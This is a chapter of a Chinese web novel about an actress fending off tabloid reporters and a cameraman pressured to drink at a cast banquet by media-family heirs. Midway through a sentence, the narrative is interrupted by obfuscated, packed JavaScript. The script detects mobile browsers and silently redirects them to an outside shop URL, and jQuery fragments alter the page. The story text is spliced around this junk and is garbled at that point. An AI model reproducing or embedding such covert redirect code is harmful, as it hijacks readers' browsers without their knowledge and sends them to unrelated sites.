9. 第 9 章

作品:《她的二十七种死法

    “郑小姐,你和流量鲜肉沈星宇的绯闻,至今双方都没否认,是打算默认恋情了吗?”


    “所以孟凡文是过去式了?听说他为此抑郁入院,不知你作何感想呢?”


    “这么说脚踏两只船是真的?”


    “你和千润地产的千总又有什么关系?据小道消息传,近期他砸重金购置豪华别墅,貌似金屋藏娇,那个人是你吗?”


    ......


    像逆行在夜晚的马路,闪光灯亮到刺眼,快门几乎没有间隔。


    结束了主创群采后,单人采访厅里,郑希音被前前后后四五层记者,围堵的水泄不通。


    未及卸妆,浓眉重彩的双眼闭了闭,再睁开时,她一个致命飞刀,朝左侧凉凉甩去。


    高鹏飞当即干笑两声,冲严严实实挡在面前的记者们招了招手,“不是和大家说好了,跟话剧无关的问题,今日一概不回哈,见谅见谅。”


    手举“瓜皮娱乐”话筒的记者抓住机会,死命挤到前头,“那话剧排练期发生的事呢?郑小姐,柠盟和你签约个人综艺的消息刚确认不久,负责执导的李永南就官宣退出,为此还挂上热搜,为什么?”


    “难道真如外界所传,李永南被一个籍籍无名的新人踩上位,更有业内人士透露,此事是你故意为之,不当众解释一下吗?”


    这特么也叫跟话剧有关?


    不明显的钻空子嘛,听不懂人话似的!


    高鹏飞无奈贫嘴,刚想拿官腔反驳:一切解释权归属合作双方,莫轻信谣言,请耐心坐等官宣。


    身后蓦地一声嗤笑。


    郑希音抱手站在众目睽睽中心,抢先一步,温声细语开了口,“看李永南挣业绩挣得辛苦,我好心助人为乐,让他体验一把爆红的感觉而已。”


    她眉目含笑,眼皮轻轻上掀,却自带无形的压迫感,“怎么,你见不得他红吗?”


    “......”


    那娱记被怼得一时接不上茬。


    郑希音不屑给他反应时间,下一秒,直接变化冷脸起身,朝背方通道,说走人就走人。


    全然不顾身后此起彼伏的追问和呼喊。


    好在高鹏飞经验积累够多,及时唤出保安,才拦住汹涌的人群。


    眼望郑希音端的是潇洒决绝的背影,即使头疼欲裂,他还是得认命留下来善后。


    —


    米燕念了一路不好意思和让一让,才避开人来人往的工作人员,开辟条直径,让郑希音回到休息室。


    推开门,一如既往,后者直奔沙发,瘫软下来闭目养神,活活像条脱水的鱼。


    事实上,忙碌的整天下来,当真连水都没能喝几口。


    赶紧将泡制润喉茶的保温杯递给她,米燕又从背包里翻找一次性拖鞋,顺带掏出大堆妨碍物,包括补妆用品和一台徕卡相机,放到矮桌上。


    郑希音半阖半睁的眼睛,恍惚定格那相机几秒,尔后放下水杯,“他人呢?”


    米燕:“嗯?”


    她迷愣一会儿,顺郑希音目光瞄去,才反应答:“哦,你是说段方禹?那会儿他找过来将相机塞给我,说以后会自带设备,让我代替归还后,便先回去了。”


    “什么时候?”


    “单人采访开始没多久。”


    纤臂伸长,将相机捞到眼前,郑希音懒懒翻开查看,一边又问,“除此之外,没说别的?”


    米燕认真回想了下,发现确实无甚可想。


    这可不怪她,就那么几个字的事,段方禹真真话少的跟他整个人一样,隐藏在暗淡冷漠的装束里,不希望世上任何人注意到他的存在般。


    米燕只能再度摇头,“真没有。”


    不仅多余的话没有,就连相机里,也是空空如也。


    思及此,米燕悄咪咪抬眼,想看郑希音的反应,却发现,她只是嘴角冷淡扯了扯。


    下一秒很是无情地,随手扔垃圾般,她将相机一抛,任它滚到沙发角落里,然后继续闭目眼神。


    那模样,仿佛根本懒于细究,叫做段方禹的人的所作所为,更从头到尾都不曾将他的存在,放过心上。


    想想也对,今日话剧虽完美落幕,但明后天演出继续,还有足足两日辛苦,正是需要蓄精养神的时候,哪还有余力再去关注其他杂人杂事。


    对郑希音来说,任何人事重要性,都远不如话剧的万分之一。


    但米燕多少有些于心不忍,虽寥寥数面,但同为打工人,她亲眼见证过段方禹对待这份工作的认真。


    “也真是奇怪了,我分明瞧他拍了一整天啊,怎会啥都没有呢,连回收站也是空的……”米燕小声地喃喃自语。


    数秒后,背对休憩的郑希音突然翻过身,睁开眼睛。


    只见她伸手勾回角落相机,似重新确认什么,打开屏幕再按动几下,目光闪烁,然后挑起眉尾。


    “你知道这回收站里,原本有两份样片,可现在没了……”


    什么意思?


    米燕还以为被误会,连忙摆手,“不是我删的!”


    郑希音也不解释,自顾自说下去:“若我没记错,如果相机设置了云端,那么清空的视频,也能恢复吧?”


    若自动上传的话,米燕点点头。


    郑希音轻笑,当即反手将相机抛给她,“算你两天假,两天后,我要这里面的东西恢复。”


    —


    米燕揣着相机回剧院复命,已是第三日下午。


    话剧在南华市最后一场公演成功收官,接下来,就是集体庆功宴。


    后场准备室里,郑希音不紧不慢改装,不紧不慢换衣,情绪闲冷。


    唯独对相机里恢复的一条条视频,保持别样兴趣。


    出发庆功宴的最后一趟车队已敲门好几遍。


    米燕左顾右盼,惊奇这种时候,居然没看到高鹏飞的身影,按照以往,他早该来回催促,急的跳脚了。


    以前米燕也搞不懂,为什么郑希音对类似这样的社交活动,总爱答不理,甚至不惜对外烙下所谓“耍大牌”的标签。


    但自从看过相机里的视频,她似乎明白了。


    演员这条路十分不易,对别人而言,运气和机会稍纵即逝,所以舞台就像战场。但对于郑希音而言,舞台却像她修生养息、真正存活的地方。


    台下才是她的战场。


    就拿这次演出说吧,看似两个女配——苏燕燕及徐淼,设计她在后,实则饰演弗比斯的男主演游朝,暗地主动撩骚郑希音在前,而米燕早就听说,苏燕燕和游朝正偷偷进行着地下恋……


    当然,导演也不是傻子,正式演出第一天发现端倪,后来,就果断改换两位女配的替补上场。


    可碍于话剧声誉,明面上终究没撕破脸,于是她们仍能正常出席庆功宴。


    所以此间错综复杂,说恶性竞争也好,赤裸裸报复也罢,白日里各怀鬼胎的一群人,晚上却要在推杯换盏间,维持笑脸相迎,多讽刺啊。


    难怪郑希音时常人前发疯。


    有时候,米燕也禁不住胡思乱想,也许那不是疯,她只是懒得伪装,比别人都活得更清醒肆意罢了。


    视频一条不漏看到最后,郑希音早已盘完头发,将相机放到旁边。


    又坐了许久,她才蹙眉问道:“段方禹人呢?”


    原来,她一直耗在这里,是为等他?


    米燕张了张嘴,但她刚回没多久,自然答不出,转头也不禁跟着疑惑。


    是啊,怎么都消失了?


    —


    庆功宴已然进行一轮,主演之一的郑希音却迟迟未到场,各位资方脸面,多少有些挂不住。


    高鹏飞只能替她先找借口,然后挨个过去,陪酒道歉。


    导演冯青虽已年过半百,却不像其他大腕儿端架子,反倒很通情达理的,让高鹏飞代替嘱咐郑希音多休息,并且深谙年轻人和他们老辈的代沟,以及对这种酒局的抗拒,所以一轮结束,他便早早携了资方离场。


    将夜晚的喧嚣留下,给所有年轻人。


    待他们走后,欢呼声即起,战场马上由五星酒店,转至会所包厢。


    中途,段方禹几次想离开,都被高鹏飞借口商讨综艺事宜,强拖着融入人群。


    起初他没找到米燕,不过偶然遇见高鹏飞时,请求他将这两天的vlog素材,转交郑希音而已,万没想到,最后演变如此境况。


    整整大波人,占去高档会所近二分之一包厢,最豪横的大间,毫无疑问,供给资方留下来继续社交的那些世家子弟。


    而正因他们的存在,庆功宴早已名副其实。


    之后一个人的到来,更将主场彻底颠倒,也让段方禹很快明白,高鹏飞之所以死死拖住他不放的原因——


    郭旭杰,这位高鹏飞自称利用几方人脉,特地邀请来的上宾。


    他的父亲是海浪传媒的郭总,也就是,那个掌管热搜的海浪,母亲则是百跃集团的掌上明珠,旗下有头条、瓜皮等多个媒体平台。


    而郭旭杰作为家中独子,可谓众星捧月,年纪轻轻便坐拥传媒界的半壁江山。


    和在场的其他公子哥一样,含金汤匙的出生,让他们无论到哪都是焦点。


    就连舞台上大放异彩的话剧演员们,如今也只


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958033|193220||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    能一个个被挤到边角,靡丽诡谲的五彩灯光,从他们状似小丑的脸上晃过,嘻嘻哈哈陪着笑。


    其中不乏三五张分外眼熟的面孔。


    何川和王永亮同被邀请参宴,处境却大有不同,后者看起来与公子哥们十分熟稔,却不热络,一圈招呼打过后,竟主动拒绝邀坐,反缩到段方禹旁边呆着。


    公子哥们的目光,这才偶然施舍般,从段方禹身上掠过。


    在高鹏飞不遗余力的推介下,即便不情愿,他还是被迫,成为了全场焦点。


    “段方禹……这名字,好像有点耳熟。”


    一位西装革履、面如冠玉的少爷听说后,率先扬眉。


    另个寸头纹眉的公子哥,当即大笑,“哈哈杨鑫,你这京世的太孙怎么当的,自家八卦都不上心,难怪被入职没几天的新人踩着京世头顶上了位。”


    杨鑫翘腿后仰,这才后知后觉,“原来那个人,就是他啊。”


    寸头男挤眉弄眼,劣笑,“这你能忍啊。”


    捋了捋衬衫袖口褶皱,杨鑫垂眸,“京世的法则里,可没有忍。”


    他都如此放话了,其他人自然看热闹不嫌事大,一个个陆续加入,拱火搭腔。


    “那怎么着,今儿既然遇上了,小段不得以酒代茶,表表诚意?”


    “说到底不就为综艺宣传嘛,小事一桩,先喝了这几杯,权当替大家热热场。”


    “诶话到这,郑希音人呢?这种场合主人公居然迟到,该罚酒吧!要不,你也替她喝了?”


    “铁定该罚!这样,她迟到一分钟,你一杯酒怎么样?”


    “有意思,还是你丫会玩!”


    ......


    就这样不过眨眼功夫,红的,黄的,白的,啤的,各式各样酒杯,陆续推至段方禹面前。


    满满几排,堆满汉白玉大理石桌,灯影晃过,流光潋滟。


    棒球帽盖不住的半张脸,暴露在包厢艳丽浮靡的彩灯下,也暴露在一众心怀鬼胎,虎视眈眈的注视里,眼见骑虎难下,却从头到尾平静,没有半点想象中,该有的局促不安。


    高鹏飞也没料到,事情发展会脱离轨道成这个走向,顿时对段方禹心存内疚。


    他赶紧端起酒杯,站起来,想打圆场,“哎一个人喝多没意思,来来,大家一起喝。”


    然郭旭杰一个眼皮抬起,马上有人代替举臂,将他按回座位。


    光怪陆离的中心,背靠德国进口牛皮沙发,郭旭杰衣冠楚楚,胳膊半搭在交叠的腿上,另只手,摇晃盛装威士忌的古典酒杯。


    冰块碰撞,发出兵戈脆响。


    “听起来,倒像我们一众强人所难了,不过来都来了,玩不起,但起码进门的礼貌总该有吧。”


    他懒懒抬眉,继续说,“要么,他把面前这些酒喝了,要么——”


    “自己摘掉帽子。”


    不容抗拒的语气,显然打算针对段方禹到底。


    高鹏飞本还莫名其妙,直至此刻,才后知后觉。


    道歉也是,喝酒也好,摘帽子也罢,具体如何恐怕不重要,真正重要的,是要借此,给他们这边下马威。


    难怪此番他这么容易请来郭旭杰,原以为自己未雨绸缪,将段方禹推出来社交,好同他们牵线,提前打通媒体关系,为之后的综艺造势……


    未曾想螳螂捕蝉黄雀在后。


    分明有人早另做局,想借机给段方禹和郑希音难堪。


    能将两人同时记恨上的,想来想去,只有李永南了。


    最近听说,李永南和郭旭杰母氏百跃集团正在洽谈合作,原以为捕风捉影,如今,怕要坐实了。


    照如此,其中的人情和利害关系,不言而喻。


    偏偏郑希音今日未到场,由郭旭杰带头的公子哥们无奈,只能将攻势集中于段方禹一人。


    高鹏飞本还想着,此番郑希音这个姑奶奶缺席算大好事,毕竟以她那狗脾气,指不定又惹出多少麻烦,所以才未像往常逼迫催促她。


    万没料到啊,聪明反被聪明误,反将羊送虎口了。


    想通这些,高鹏飞后悔莫及,但为时已晚。


    所谓请佛容易送佛难,职场里最忌讳的,就是凡事撕破脸,因此打了打不了,驳也驳不得。


    或许也因清楚这些,所以僵持良久,碍于在场同僚和高鹏飞的面子,段方禹才会冷漠无言起身。


    最终选择了执起酒杯。


    眼看杯沿就要贴上唇瓣,这时蓦地,不知从何出现一只手,将它打翻在地。


    且伴随一道无比清甜的嗓音——


    “啊呀,手滑。”